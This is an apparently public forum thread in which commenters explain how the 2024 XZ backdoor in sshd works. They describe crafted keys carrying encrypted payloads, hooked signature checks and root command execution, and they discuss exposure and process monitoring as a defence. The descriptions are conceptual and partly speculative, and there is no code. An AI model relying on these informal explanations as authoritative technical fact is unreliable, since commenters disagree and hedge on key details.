But in the case of this specific attack, probably the safest approach would be to watch and track what processes are being spawned by sshd. Which in retrospect is probably advisable for any network daemon. (Of course, lots of them will be sloppy and messy with how they interact with the system and it might be next to impossible to tell attacks from “legit” behavior. But sshd is probably easier to pin down to what’s “safe” or not.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by xinayder on Sunday March 31, 2024 @05:08AM (#39882648)
> When someone logs into SSH and presents a signed SSH certificate as authentication, those hacked functions are called

So if I only use pubkey auth and ED25519, there's no risk?

Besides this, just to understand it better, if someone tries to login to your server with the attacker's certificate, the backdoor will disable any checks for it and allow the remote user to login as root (or any other arbitrary user) even if root login is disabled in sshd config?

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by skywhopper on Sunday March 31, 2024 @05:37AM (#39882771)
I don’t think we know enough to be sure even disabling certificate auth would prevent this. But from what I can tell it probably wouldn’t directly allow arbitrary user login. It only seems to allow the execution of an arbitrary command. But of course that command might do something that would break any other security on the system.

But, one clever thing about this attack is that the commands being run wouldn’t be caught by typical user-login tracking, since there’s no “login”. The attacker is just tricking sshd into running a command.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by jvans on Sunday March 31, 2024 @09:45AM (#39884200)
So is the implication here that any system that allows SSH and contains this malicious code is vulnerable?
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by MuffinFlavored on Monday April 01, 2024 @01:55PM (#39896980)
> 2. The XZ library injects its own versions of functions in openssl that verify RSA signatures

Specifically how did the xz library patch/hook/inject into the openssl functions that verify RSA signatures?

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by ajross on Saturday March 30, 2024 @06:30PM (#39879320)
> The OP makes it sound like an attacker can send a malicious payload in the pre-auth phase of an SSH session - but why does he say that an exploit might never be available?

The exploit as shipped is a binary (cleverly hidden in the test data), not source. And it validates the payload vs. a private key that isn't known to the public. Only the attacker can exercise the exploit currently, making it impossible to scan for (well, absent second order effects like performance, which is how it was discovered).

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by matheusmoreira on Sunday March 31, 2024 @10:04AM (#39884368)
Attacker wants to be able to send an especially crafted public key to their target's server's sshd. That crafted key is totally bogus input, a normal sshd would just probably reject it as invalid. The bits embedded into the key are actually malicious code, encrypted/signed with the attacker's secret key.

In order to achieve their objective, they engineered a backdoor into sshd that hooks into the authentication functions which handle those keys. Whenever someone sends a key, it tries to decrypt it with the attacker's keys. If it fails, proceed as usual, it's not a payload. If it successfully decrypts, it's time for the sleeper agent to wake up and pipe that payload into a brand new process running as root.